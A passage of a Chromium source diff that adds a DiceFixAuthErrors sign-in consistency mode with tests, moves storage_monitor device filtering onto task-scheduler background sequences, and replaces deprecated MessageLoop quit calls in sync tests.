-// found in the LICENSE file.
-
-package org.chromium.components.signin;
-
-/**
- * Will be removed after migrating downstream code. Use {@link AccountManagerFacade} instead.
- */
-@Deprecated
-public class AccountManagerHelper {
-    public static AccountManagerFacade get() {
-        return AccountManagerFacade.get();
-    }
-}
diff --git a/components/signin/core/browser/dice_header_helper.cc b/components/signin/core/browser/dice_header_helper.cc
index 3591649..c0bf31e2 100644
--- a/components/signin/core/browser/dice_header_helper.cc
+++ b/components/signin/core/browser/dice_header_helper.cc
@@ -37,6 +37,9 @@
 
 }  // namespace
 
+DiceHeaderHelper::DiceHeaderHelper(bool signed_in_with_auth_error)
+    : signed_in_with_auth_error_(signed_in_with_auth_error) {}
+
 // static
 DiceResponseParams DiceHeaderHelper::BuildDiceSigninResponseParams(
     const std::string& header_value) {
@@ -127,9 +130,17 @@
 }
 
 bool DiceHeaderHelper::IsUrlEligibleForRequestHeader(const GURL& url) {
-  if (GetAccountConsistencyMethod() != AccountConsistencyMethod::kDice) {
+  if (!IsDiceFixAuthErrorsEnabled())
+    return false;
+
+  // With kDiceFixAuthError, only set the request header if the user is signed
+  // in and has an authentication error.
+  if (!signed_in_with_auth_error_ &&
+      (GetAccountConsistencyMethod() ==
+       AccountConsistencyMethod::kDiceFixAuthErrors)) {
     return false;
   }
+
   return gaia::IsGaiaSignonRealm(url.GetOrigin());
 }
 
diff --git a/components/signin/core/browser/dice_header_helper.h b/components/signin/core/browser/dice_header_helper.h
index d83fa03..bece6b77 100644
--- a/components/signin/core/browser/dice_header_helper.h
+++ b/components/signin/core/browser/dice_header_helper.h
@@ -7,6 +7,7 @@
 
 #include <string>
 
+#include "base/macros.h"
 #include "components/signin/core/browser/signin_header_helper.h"
 
 class GURL;
@@ -16,7 +17,7 @@
 // SigninHeaderHelper implementation managing the Dice header.
 class DiceHeaderHelper : public SigninHeaderHelper {
  public:
-  DiceHeaderHelper() {}
+  explicit DiceHeaderHelper(bool signed_in_with_auth_error);
   ~DiceHeaderHelper() override {}
 
   // Returns the parameters contained in the X-Chrome-ID-Consistency-Response
@@ -37,6 +38,10 @@
  private:
   // SigninHeaderHelper implementation:
   bool IsUrlEligibleForRequestHeader(const GURL& url) override;
+
+  bool signed_in_with_auth_error_;
+
+  DISALLOW_COPY_AND_ASSIGN(DiceHeaderHelper);
 };
 
 }  // namespace signin
diff --git a/components/signin/core/browser/profile_management_switches_unittest.cc b/components/signin/core/browser/profile_management_switches_unittest.cc
new file mode 100644
index 0000000..8119b0b
--- /dev/null
+++ b/components/signin/core/browser/profile_management_switches_unittest.cc
@@ -0,0 +1,59 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/signin/core/common/profile_management_switches.h"
+
+#include "base/macros.h"
+#include "components/signin/core/browser/scoped_account_consistency.h"
+#include "components/signin/core/common/signin_features.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace signin {
+
+#if BUILDFLAG(ENABLE_MIRROR)
+TEST(ProfileManagementSwitchesTest, GetAccountConsistencyMethodMirror) {
+  // Mirror is enabled by default on some platforms.
+  EXPECT_EQ(AccountConsistencyMethod::kMirror, GetAccountConsistencyMethod());
+  EXPECT_TRUE(IsAccountConsistencyMirrorEnabled());
+  EXPECT_FALSE(IsAccountConsistencyDiceEnabled());
+  EXPECT_FALSE(IsDiceFixAuthErrorsEnabled());
+}
+#else
+TEST(ProfileManagementSwitchesTest, GetAccountConsistencyMethod) {
+  // By default account consistency is disabled.
+  EXPECT_EQ(AccountConsistencyMethod::kDisabled, GetAccountConsistencyMethod());
+  EXPECT_FALSE(IsAccountConsistencyMirrorEnabled());
+  EXPECT_FALSE(IsAccountConsistencyDiceEnabled());
+  EXPECT_FALSE(IsDiceFixAuthErrorsEnabled());
+
+  // Check that feature flags work.
+  struct TestCase {
+    AccountConsistencyMethod method;
+    bool expect_mirror_enabled;
+    bool expect_dice_fix_auth_errors;
+    bool expect_dice_enabled;
+  };
+
+  TestCase test_cases[] = {
+    {AccountConsistencyMethod::kDisabled, false, false, false},
+#if BUILDFLAG(ENABLE_DICE_SUPPORT)
+    {AccountConsistencyMethod::kDiceFixAuthErrors, false, true, false},
+    {AccountConsistencyMethod::kDice, false, true, true},
+#endif
+    {AccountConsistencyMethod::kMirror, true, false, false}
+  };
+
+  for (TestCase test_case : test_cases) {
+    ScopedAccountConsistency scoped_method(test_case.method);
+    EXPECT_EQ(test_case.method, GetAccountConsistencyMethod());
+    EXPECT_EQ(test_case.expect_mirror_enabled,
+              IsAccountConsistencyMirrorEnabled());
+    EXPECT_EQ(test_case.expect_dice_fix_auth_errors,
+              IsDiceFixAuthErrorsEnabled());
+    EXPECT_EQ(test_case.expect_dice_enabled, IsAccountConsistencyDiceEnabled());
+  }
+}
+#endif  // BUILDFLAG(ENABLE_MIRROR)
+
+}  // namespace signin
diff --git a/components/signin/core/browser/scoped_account_consistency.cc b/components/signin/core/browser/scoped_account_consistency.cc
index 69c9488..fbf910f 100644
--- a/components/signin/core/browser/scoped_account_consistency.cc
+++ b/components/signin/core/browser/scoped_account_consistency.cc
@@ -60,10 +60,4 @@
 
 ScopedAccountConsistency::~ScopedAccountConsistency() {}
 
-ScopedAccountConsistencyMirror::ScopedAccountConsistencyMirror()
-    : scoped_mirror_(AccountConsistencyMethod::kMirror) {}
-
-ScopedAccountConsistencyDice::ScopedAccountConsistencyDice()
-    : scoped_dice_(AccountConsistencyMethod::kDice) {}
-
 }  // namespace signin
diff --git a/components/signin/core/browser/scoped_account_consistency.h b/components/signin/core/browser/scoped_account_consistency.h
index 21e5808..0c4938d 100644
--- a/components/signin/core/browser/scoped_account_consistency.h
+++ b/components/signin/core/browser/scoped_account_consistency.h
@@ -17,8 +17,7 @@
 // tests.
 class ScopedAccountConsistency {
  public:
-  ScopedAccountConsistency(AccountConsistencyMethod method);
-
+  explicit ScopedAccountConsistency(AccountConsistencyMethod method);
   ~ScopedAccountConsistency();
 
  private:
@@ -27,25 +26,30 @@
   DISALLOW_COPY_AND_ASSIGN(ScopedAccountConsistency);
 };
 
-class ScopedAccountConsistencyMirror {
- public:
-  ScopedAccountConsistencyMirror();
+// Specialized helper classes for each account consistency method:
+// ScopedAccountConsistencyDice, ScopedAccountConsistencyMirror, ...
 
- private:
-  ScopedAccountConsistency scoped_mirror_;
+#define SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION(method)             \
+  class ScopedAccountConsistency##method {                            \
+   public:                                                            \
+    ScopedAccountConsistency##method()                                \
+        : scoped_consistency_(AccountConsistencyMethod::k##method) {} \
+                                                                      \
+   private:                                                           \
+    ScopedAccountConsistency scoped_consistency_;                     \
+    DISALLOW_COPY_AND_ASSIGN(ScopedAccountConsistency##method);       \
+  }
 
-  DISALLOW_COPY_AND_ASSIGN(ScopedAccountConsistencyMirror);
-};
+// ScopedAccountConsistencyDisabled:
+SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION(Disabled);
+// ScopedAccountConsistencyMirror:
+SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION(Mirror);
+// ScopedAccountConsistencyDiceFixAuthErrors:
+SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION(DiceFixAuthErrors);
+// ScopedAccountConsistencyDice:
+SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION(Dice);
 
-class ScopedAccountConsistencyDice {
- public:
-  ScopedAccountConsistencyDice();
-
- private:
-  ScopedAccountConsistency scoped_dice_;
-
-  DISALLOW_COPY_AND_ASSIGN(ScopedAccountConsistencyDice);
-};
+#undef SCOPED_ACCOUNT_CONSISTENCY_SPECIALIZATION
 
 }  // namespace signin
 
diff --git a/components/signin/core/browser/signin_header_helper.cc b/components/signin/core/browser/signin_header_helper.cc
index 0a326c1..e745daf 100644
--- a/components/signin/core/browser/signin_header_helper.cc
+++ b/components/signin/core/browser/signin_header_helper.cc
@@ -130,11 +130,12 @@
     const GURL& redirect_url,
     const std::string& account_id,
     bool sync_enabled,
+    bool sync_has_auth_error,
     const content_settings::CookieSettings* cookie_settings,
     int profile_mode_mask) {
   const GURL& url = redirect_url.is_empty() ? request->url() : redirect_url;
 #if BUILDFLAG(ENABLE_DICE_SUPPORT)
-  DiceHeaderHelper dice_helper;
+  DiceHeaderHelper dice_helper(!account_id.empty() && sync_has_auth_error);
   std::string dice_header_value;
   if (dice_helper.ShouldBuildRequestHeader(url, cookie_settings)) {
     dice_header_value =
diff --git a/components/signin/core/browser/signin_header_helper.h b/components/signin/core/browser/signin_header_helper.h
index 06b72cb3..0c88f4fc 100644
--- a/components/signin/core/browser/signin_header_helper.h
+++ b/components/signin/core/browser/signin_header_helper.h
@@ -164,6 +164,7 @@
     const GURL& redirect_url,
     const std::string& account_id,
     bool sync_enabled,
+    bool sync_has_auth_error,
     const content_settings::CookieSettings* cookie_settings,
     int profile_mode_mask);
 
diff --git a/components/signin/core/browser/signin_header_helper_unittest.cc b/components/signin/core/browser/signin_header_helper_unittest.cc
index 3f5756ac..aa68d3d 100644
--- a/components/signin/core/browser/signin_header_helper_unittest.cc
+++ b/components/signin/core/browser/signin_header_helper_unittest.cc
@@ -52,15 +52,15 @@
         expected_request);
   }
 
-  std::unique_ptr<net::URLRequest> CreateRequest(const GURL& url,
-                                                 const std::string& account_id,
-                                                 bool sync_enabled) {
+  std::unique_ptr<net::URLRequest> CreateRequest(
+      const GURL& url,
+      const std::string& account_id) {
     std::unique_ptr<net::URLRequest> url_request =
         url_request_context_.CreateRequest(url, net::DEFAULT_PRIORITY, nullptr,
                                            TRAFFIC_ANNOTATION_FOR_TESTS);
     AppendOrRemoveAccountConsistentyRequestHeader(
-        url_request.get(), GURL(), account_id, sync_enabled,
-        cookie_settings_.get(), PROFILE_MODE_DEFAULT);
+        url_request.get(), GURL(), account_id, sync_enabled_,
+        sync_has_auth_error_, cookie_settings_.get(), PROFILE_MODE_DEFAULT);
     return url_request;
   }
 
@@ -72,7 +72,8 @@
     std::string request;
     EXPECT_EQ(
         url_request->extra_request_headers().GetHeader(header_name, &request),
-        expected_result);
+        expected_result)
+        << header_name << ": " << request;
     if (expected_result) {
       EXPECT_EQ(expected_request, request);
     }
@@ -82,7 +83,7 @@
                                 const std::string& account_id,
                                 const std::string& expected_request) {
     std::unique_ptr<net::URLRequest> url_request =
-        CreateRequest(url, account_id, false /* sync_enabled */);
+        CreateRequest(url, account_id);
     CheckAccountConsistencyHeaderRequest(
         url_request.get(), kChromeConnectedHeader, expected_request);
   }
@@ -90,11 +91,10 @@
 #if BUILDFLAG(ENABLE_DICE_SUPPORT)
   void CheckDiceHeaderRequest(const GURL& url,
                               const std::string& account_id,
-                              bool sync_enabled,
                               const std::string& expected_mirror_request,
                               const std::string& expected_dice_request) {
     std::unique_ptr<net::URLRequest> url_request =
-        CreateRequest(url, account_id, sync_enabled);
+        CreateRequest(url, account_id);
     CheckAccountConsistencyHeaderRequest(
         url_request.get(), kChromeConnectedHeader, expected_mirror_request);
     CheckAccountConsistencyHeaderRequest(url_request.get(), kDiceRequestHeader,
@@ -104,6 +104,9 @@
 
   base::MessageLoop loop_;
 
+  bool sync_enabled_ = false;
+  bool sync_has_auth_error_ = false;
+
   sync_preferences::TestingPrefServiceSyncable prefs_;
   net::TestURLRequestContext url_request_context_;
 
@@ -176,7 +179,7 @@
   ScopedAccountConsistencyDice scoped_dice;
   // ChromeConnected but no Dice for Docs URLs.
   CheckDiceHeaderRequest(
-      GURL("https://docs.google.com"), "0123456789", false /* sync_enabled */,
+      GURL("https://docs.google.com"), "0123456789",
       "id=0123456789,mode=0,enable_account_consistency=false", "");
 
   // ChromeConnected and Dice for Gaia URLs.
@@ -184,29 +187,44 @@
   std::string client_id = GaiaUrls::GetInstance()->oauth2_chrome_client_id();
   ASSERT_FALSE(client_id.empty());
   CheckDiceHeaderRequest(GURL("https://accounts.google.com"), "0123456789",
-                         false /* sync_enabled */,
                          "mode=0,enable_account_consistency=false",
                          "client_id=" + client_id);
   // Sync enabled: check that the Dice header has the Sync account ID and that
   // the mirror header is not modified.
+  sync_enabled_ = true;
   CheckDiceHeaderRequest(
       GURL("https://accounts.google.com"), "0123456789",
-      true /* sync_enabled */, "mode=0,enable_account_consistency=false",
+      "mode=0,enable_account_consistency=false",
       "client_id=" + client_id + ",sync_account_id=0123456789");
+  sync_enabled_ = false;
 
   // No ChromeConnected and no Dice for other URLs.
-  CheckDiceHeaderRequest(GURL("https://www.google.com"), "0123456789",
-                         false /* sync_enabled */, "", "");
+  CheckDiceHeaderRequest(GURL("https://www.google.com"), "0123456789", "", "");
 }
 
 // Tests that no Dice request is returned when Dice is not enabled.
 TEST_F(SigninHeaderHelperTest, TestNoDiceRequestWhenDisabled) {
   ScopedAccountConsistencyMirror scoped_mirror;
   CheckDiceHeaderRequest(GURL("https://accounts.google.com"), "0123456789",
-                         false /* sync_enabled */,
                          "mode=0,enable_account_consistency=true", "");
 }
 
+// Tests that a Dice request is returned only when there is an authentication
+// error if the method is kDiceFixAuthErrors.
+TEST_F(SigninHeaderHelperTest, TestDiceFixAuthError) {
+  ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
+  // Without authentication error, no Dice request.
+  CheckDiceHeaderRequest(GURL("https://accounts.google.com"), "0123456789",
+                         "mode=0,enable_account_consistency=false", "");
+
+  // With authentication error, there is a Dice request.
+  sync_has_auth_error_ = true;
+  CheckDiceHeaderRequest(
+      GURL("https://accounts.google.com"), "0123456789",
+      "mode=0,enable_account_consistency=false",
+      "client_id=" + GaiaUrls::GetInstance()->oauth2_chrome_client_id());
+}
+
 // Tests that the Mirror request is returned with the GAIA Id on Drive origin,
 // even if account consistency is disabled.
 TEST_F(SigninHeaderHelperTest, TestMirrorRequestDrive) {
@@ -330,8 +348,8 @@
       url_request_context_.CreateRequest(url, net::DEFAULT_PRIORITY, nullptr,
                                          TRAFFIC_ANNOTATION_FOR_TESTS);
   AppendOrRemoveAccountConsistentyRequestHeader(
-      url_request.get(), redirect_url, account_id, false /* sync_enabled */,
-      cookie_settings_.get(), PROFILE_MODE_DEFAULT);
+      url_request.get(), redirect_url, account_id, sync_enabled_,
+      sync_has_auth_error_, cookie_settings_.get(), PROFILE_MODE_DEFAULT);
   EXPECT_TRUE(
       url_request->extra_request_headers().HasHeader(kChromeConnectedHeader));
 }
@@ -347,8 +365,8 @@
       url_request_context_.CreateRequest(url, net::DEFAULT_PRIORITY, nullptr,
                                          TRAFFIC_ANNOTATION_FOR_TESTS);
   AppendOrRemoveAccountConsistentyRequestHeader(
-      url_request.get(), redirect_url, account_id, false /* sync_enabled */,
-      cookie_settings_.get(), PROFILE_MODE_DEFAULT);
+      url_request.get(), redirect_url, account_id, sync_enabled_,
+      sync_has_auth_error_, cookie_settings_.get(), PROFILE_MODE_DEFAULT);
   EXPECT_FALSE(
       url_request->extra_request_headers().HasHeader(kChromeConnectedHeader));
 }
@@ -367,8 +385,8 @@
   url_request->SetExtraRequestHeaderByName(kChromeConnectedHeader, fake_header,
                                            false);
   AppendOrRemoveAccountConsistentyRequestHeader(
-      url_request.get(), redirect_url, account_id, false /* sync_enabled */,
-      cookie_settings_.get(), PROFILE_MODE_DEFAULT);
+      url_request.get(), redirect_url, account_id, sync_enabled_,
+      sync_has_auth_error_, cookie_settings_.get(), PROFILE_MODE_DEFAULT);
   std::string header;
   EXPECT_TRUE(url_request->extra_request_headers().GetHeader(
       kChromeConnectedHeader, &header));
diff --git a/components/signin/core/common/profile_management_switches.cc b/components/signin/core/common/profile_management_switches.cc
index 7cb7313..b8ea88e4 100644
--- a/components/signin/core/common/profile_management_switches.cc
+++ b/components/signin/core/common/profile_management_switches.cc
@@ -7,6 +7,7 @@
 #include <string>
 
 #include "base/command_line.h"
+#include "base/logging.h"
 #include "base/metrics/field_trial_params.h"
 #include "build/build_config.h"
 #include "components/signin/core/common/signin_features.h"
@@ -55,6 +56,12 @@
   return (GetAccountConsistencyMethod() == AccountConsistencyMethod::kDice);
 }
 
+bool IsDiceFixAuthErrorsEnabled() {
+  AccountConsistencyMethod method = GetAccountConsistencyMethod();
+  return (method == AccountConsistencyMethod::kDiceFixAuthErrors) ||
+         (method == AccountConsistencyMethod::kDice);
+}
+
 bool IsExtensionsMultiAccount() {
 #if defined(OS_ANDROID) || defined(OS_IOS)
   NOTREACHED() << "Extensions are not enabled on Android or iOS";
diff --git a/components/signin/core/common/profile_management_switches.h b/components/signin/core/common/profile_management_switches.h
index 9677250..7b37926 100644
--- a/components/signin/core/common/profile_management_switches.h
+++ b/components/signin/core/common/profile_management_switches.h
@@ -43,8 +43,13 @@
 // Checks whether Dice account consistency is enabled. If enabled, then account
 // management UI is available on the Gaia webpages.
 // Returns true when the account consistency method is kDice.
+// WARNING: returns false when the method is kDiceFixAuthErrors.
 bool IsAccountConsistencyDiceEnabled();
 
+// Returns true if the account consistency method is kDiceFixAuthErrors or
+// kDice.
+bool IsDiceFixAuthErrorsEnabled();
+
 // Whether the chrome.identity API should be multi-account.
 bool IsExtensionsMultiAccount();
 
diff --git a/components/spellcheck/browser/spellcheck_platform_mac_unittest.cc b/components/spellcheck/browser/spellcheck_platform_mac_unittest.cc
index 7f9d418..466d25b 100644
--- a/components/spellcheck/browser/spellcheck_platform_mac_unittest.cc
+++ b/components/spellcheck/browser/spellcheck_platform_mac_unittest.cc
@@ -9,6 +9,7 @@
 #include "base/bind.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
@@ -36,7 +37,7 @@
  private:
   void QuitMessageLoop() {
     CHECK(base::MessageLoop::current() == &message_loop_);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void CompletionCallback(const std::vector<SpellCheckResult>& results) {
diff --git a/components/storage_monitor/media_storage_util.cc b/components/storage_monitor/media_storage_util.cc
index 7841e4e29..aab083b1 100644
--- a/components/storage_monitor/media_storage_util.cc
+++ b/components/storage_monitor/media_storage_util.cc
@@ -11,13 +11,14 @@
 #include "base/logging.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
+#include "base/task_scheduler/post_task.h"
+#include "base/task_scheduler/task_traits.h"
+#include "base/threading/thread_restrictions.h"
 #include "build/build_config.h"
 #include "components/storage_monitor/removable_device_constants.h"
 #include "components/storage_monitor/storage_monitor.h"
 #include "content/public/browser/browser_thread.h"
 
-using content::BrowserThread;
-
 namespace storage_monitor {
 
 namespace {
@@ -41,8 +42,9 @@
   return base::FilePath::StringType();
 }
 
-void FilterAttachedDevicesOnFileThread(MediaStorageUtil::DeviceIdSet* devices) {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+void FilterAttachedDevicesOnBackgroundSequence(
+    MediaStorageUtil::DeviceIdSet* devices) {
+  base::ThreadRestrictions::AssertIOAllowed();
   MediaStorageUtil::DeviceIdSet missing_devices;
 
   for (MediaStorageUtil::DeviceIdSet::const_iterator it = devices->begin();
@@ -79,8 +81,7 @@
 
 // static
 bool MediaStorageUtil::HasDcim(const base::FilePath& mount_point) {
-  DCHECK(!content::BrowserThread::CurrentlyOn(content::BrowserThread::UI));
-
+  base::ThreadRestrictions::AssertIOAllowed();
   base::FilePath::StringType dcim_dir(kDCIMDirectoryName);
   if (!base::DirectoryExists(mount_point.Append(dcim_dir))) {
     // Check for lowercase 'dcim' as well.
@@ -108,16 +109,12 @@
 // static
 void MediaStorageUtil::FilterAttachedDevices(DeviceIdSet* devices,
                                              const base::Closure& done) {
-  if (BrowserThread::CurrentlyOn(BrowserThread::FILE)) {
-    FilterAttachedDevicesOnFileThread(devices);
-    done.Run();
-    return;
-  }
-  BrowserThread::PostTaskAndReply(BrowserThread::FILE,
-                                  FROM_HERE,
-                                  base::Bind(&FilterAttachedDevicesOnFileThread,
-                                             devices),
-                                  done);
+  DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
+  base::PostTaskWithTraitsAndReply(
+      FROM_HERE,
+      {base::TaskPriority::BACKGROUND, base::MayBlock(),
+       base::TaskShutdownBehavior::CONTINUE_ON_SHUTDOWN},
+      base::Bind(&FilterAttachedDevicesOnBackgroundSequence, devices), done);
 }
 
 // TODO(kmadhusu) Write unit tests for GetDeviceInfoFromPath().
diff --git a/components/storage_monitor/media_storage_util_unittest.cc b/components/storage_monitor/media_storage_util_unittest.cc
index b478bf7..fc9f5b3 100644
--- a/components/storage_monitor/media_storage_util_unittest.cc
+++ b/components/storage_monitor/media_storage_util_unittest.cc
@@ -9,12 +9,12 @@
 #include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
-#include "base/synchronization/waitable_event.h"
+#include "base/task_scheduler/post_task.h"
+#include "base/test/scoped_task_environment.h"
 #include "components/storage_monitor/media_storage_util.h"
 #include "components/storage_monitor/removable_device_constants.h"
 #include "components/storage_monitor/storage_monitor.h"
 #include "components/storage_monitor/test_storage_monitor.h"
-#include "content/public/browser/browser_thread.h"
 #include "content/public/test/test_browser_thread_bundle.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
@@ -24,14 +24,13 @@
 
 }  // namespace
 
-using content::BrowserThread;
-
 namespace storage_monitor {
 
 class MediaStorageUtilTest : public testing::Test {
  public:
   MediaStorageUtilTest()
-      : thread_bundle_(content::TestBrowserThreadBundle::REAL_FILE_THREAD) {}
+      : scoped_task_environment_(
+            base::test::ScopedTaskEnvironment::MainThreadType::UI) {}
   ~MediaStorageUtilTest() override {}
 
   // Verify mounted device type.
@@ -67,24 +66,14 @@
   }
 
   void TearDown() override {
-    WaitForFileThread();
     TestStorageMonitor::Destroy();
   }
 
-  static void PostQuitToUIThread() {
-    BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
-                            base::MessageLoop::QuitWhenIdleClosure());
-  }
-
-  static void WaitForFileThread() {
-    BrowserThread::PostTask(BrowserThread::FILE,
-                            FROM_HERE,
-                            base::Bind(&PostQuitToUIThread));
-    base::RunLoop().Run();
-  }
+  void RunUntilIdle() { scoped_task_environment_.RunUntilIdle(); }
 
  private:
-  content::TestBrowserThreadBundle thread_bundle_;
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
+  content::TestBrowserThreadBundle test_browser_thread_bundle_;
   TestStorageMonitor* monitor_;
   base::ScopedTempDir scoped_temp_dir_;
 };
@@ -95,11 +84,11 @@
   // Create a dummy mount point with DCIM Directory.
   base::FilePath mount_point(CreateMountPoint(true));
   ASSERT_FALSE(mount_point.empty());
-  BrowserThread::PostTask(
-      BrowserThread::FILE, FROM_HERE,
-      base::Bind(&MediaStorageUtilTest::CheckDCIMDeviceType,
-                 base::Unretained(this), mount_point));
-  base::RunLoop().RunUntilIdle();
+  base::PostTaskWithTraits(
+      FROM_HERE, {base::TaskPriority::BACKGROUND, base::MayBlock()},
+      base::BindOnce(&MediaStorageUtilTest::CheckDCIMDeviceType,
+                     base::Unretained(this), mount_point));
+  RunUntilIdle();
 }
 
 // Test to verify that HasDcim() function returns false for a given non-media
@@ -108,11 +97,11 @@
   // Create a dummy mount point without DCIM Directory.
   base::FilePath mount_point(CreateMountPoint(false));
   ASSERT_FALSE(mount_point.empty());
-  BrowserThread::PostTask(
-      BrowserThread::FILE, FROM_HERE,
-      base::Bind(&MediaStorageUtilTest::CheckNonDCIMDeviceType,
-                 base::Unretained(this), mount_point));
-  base::RunLoop().RunUntilIdle();
+  base::PostTaskWithTraits(
+      FROM_HERE, {base::TaskPriority::BACKGROUND, base::MayBlock()},
+      base::BindOnce(&MediaStorageUtilTest::CheckNonDCIMDeviceType,
+                     base::Unretained(this), mount_point));
+  RunUntilIdle();
 }
 
 TEST_F(MediaStorageUtilTest, CanCreateFileSystemForImageCapture) {
@@ -130,26 +119,16 @@
   MediaStorageUtil::DeviceIdSet devices;
   devices.insert(kImageCaptureDeviceId);
 
-  base::WaitableEvent event(base::WaitableEvent::ResetPolicy::MANUAL,
-                            base::WaitableEvent::InitialState::NOT_SIGNALED);
-  base::Closure signal_event =
-      base::Bind(&base::WaitableEvent::Signal, base::Unretained(&event));
-
-  // We need signal_event to be executed on the FILE thread, as the test thread
-  // is blocked. Therefore, we invoke FilterAttachedDevices on the FILE thread.
-  BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,
-                          base::Bind(&MediaStorageUtil::FilterAttachedDevices,
-                                     base::Unretained(&devices), signal_event));
-  event.Wait();
+  MediaStorageUtil::FilterAttachedDevices(&devices,
+                                          base::Bind(&base::DoNothing));
+  RunUntilIdle();
   EXPECT_FALSE(devices.find(kImageCaptureDeviceId) != devices.end());
 
   ProcessAttach(kImageCaptureDeviceId, FILE_PATH_LITERAL("/location"));
   devices.insert(kImageCaptureDeviceId);
-  event.Reset();
-  BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,
-                          base::Bind(&MediaStorageUtil::FilterAttachedDevices,
-                                     base::Unretained(&devices), signal_event));
-  event.Wait();
+  MediaStorageUtil::FilterAttachedDevices(&devices,
+                                          base::Bind(&base::DoNothing));
+  RunUntilIdle();
 
   EXPECT_TRUE(devices.find(kImageCaptureDeviceId) != devices.end());
 }
diff --git a/components/sync/driver/glue/sync_backend_host_impl_unittest.cc b/components/sync/driver/glue/sync_backend_host_impl_unittest.cc
index 9195301b..bf3bfedf 100644
--- a/components/sync/driver/glue/sync_backend_host_impl_unittest.cc
+++ b/components/sync/driver/glue/sync_backend_host_impl_unittest.cc
@@ -76,7 +76,7 @@
                            bool success) override {
     EXPECT_EQ(expect_success_, success);
     set_engine_types_.Run(initial_types);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void SetExpectSuccess(bool expect_success) {
@@ -277,7 +277,7 @@
  protected:
   void DownloadReady(ModelTypeSet succeeded_types, ModelTypeSet failed_types) {
     engine_types_.PutAll(succeeded_types);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnDownloadRetry() { NOTIMPLEMENTED(); }
diff --git a/components/sync/engine_impl/sync_scheduler_impl_unittest.cc b/components/sync/engine_impl/sync_scheduler_impl_unittest.cc
index 6bdd9bb..e6a5c65 100644
--- a/components/sync/engine_impl/sync_scheduler_impl_unittest.cc
+++ b/components/sync/engine_impl/sync_scheduler_impl_unittest.cc
@@ -67,7 +67,7 @@
   // indefinitely in the presence of repeated timers with low delays
   // and a slow test (e.g., ThrottlingDoesThrottle [which has a poll
   // delay of 5ms] run under TSAN on the trybots).
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 void RunLoop() {
diff --git a/components/sync/model/recording_model_type_change_processor.cc b/components/sync/model/recording_model_type_change_processor.cc
index a20e299..ae4b5fb 100644
--- a/components/sync/model/recording_model_type_change_processor.cc
+++ b/components/sync/model/recording_model_type_change_processor.cc
@@ -8,6 +8,7 @@
 
 #include "base/bind.h"
 #include "base/memory/ptr_util.h"
+#include "components/sync/model/fake_model_type_sync_bridge.h"
 #include "components/sync/model/metadata_batch.h"
 
 namespace syncer {
@@ -47,6 +48,19 @@
   delete_set_.insert(storage_key);
 }
 
+void RecordingModelTypeChangeProcessor::UpdateStorageKey(
+    const EntityData& entity_data,
+    const std::string& storage_key,
+    MetadataChangeList* metadata_change_list) {
+  update_multimap_.insert(std::make_pair(
+      storage_key, FakeModelTypeSyncBridge::CopyEntityData(entity_data)));
+}
+
+void RecordingModelTypeChangeProcessor::UntrackEntity(
+    const EntityData& entity_data) {
+  untrack_set_.insert(FakeModelTypeSyncBridge::CopyEntityData(entity_data));
+}
+
 void RecordingModelTypeChangeProcessor::ModelReadyToSync(
     std::unique_ptr<MetadataBatch> batch) {
   std::swap(metadata_, batch);
diff --git a/components/sync/model/recording_model_type_change_processor.h b/components/sync/model/recording_model_type_change_processor.h
index 861ec23..a749277d 100644
--- a/components/sync/model/recording_model_type_change_processor.h
+++ b/components/sync/model/recording_model_type_change_processor.h
@@ -28,6 +28,10 @@
            MetadataChangeList* metadata_changes) override;
   void Delete(const std::string& storage_key,
               MetadataChangeList* metadata_changes) override;
+  void UpdateStorageKey(const EntityData& entity_data,
+                        const std::string& storage_key,
+                        MetadataChangeList* metadata_change_list) override;
+  void UntrackEntity(const EntityData& entity_data) override;
   void ModelReadyToSync(std::unique_ptr<MetadataBatch> batch) override;
   bool IsTrackingMetadata() override;
 
@@ -38,8 +42,17 @@
     return put_multimap_;
   }
 
+  const std::multimap<std::string, std::unique_ptr<EntityData>>&
+  update_multimap() const {
+    return update_multimap_;
+  }
+
   const std::set<std::string>& delete_set() const { return delete_set_; }
 
+  const std::set<std::unique_ptr<EntityData>>& untrack_set() const {
+    return untrack_set_;
+  }
+
   MetadataBatch* metadata() const { return metadata_.get(); }
 
   // Returns a callback that constructs a processor and assigns a raw pointer to
@@ -53,7 +66,9 @@
 
  private:
   std::multimap<std::string, std::unique_ptr<EntityData>> put_multimap_;
+  std::multimap<std::string, std::unique_ptr<EntityData>> update_multimap_;
   std::set<std::string> delete_set_;
+  std::set<std::unique_ptr<EntityData>> untrack_set_;
   std::unique_ptr<MetadataBatch> metadata_;
   bool is_tracking_metadata_ = true;
 };
diff --git a/components/task_scheduler_util/common/variations_util.cc b/components/task_scheduler_util/common/variations_util.cc
index 04ef1df..d83362b5 100644
--- a/components/task_scheduler_util/common/variations_util.cc
+++ b/components/task_scheduler_util/common/variations_util.cc
@@ -41,7 +41,6 @@
 // 2. Thread Count Multiplier (double)
 // 3. Thread Count Offset (int)
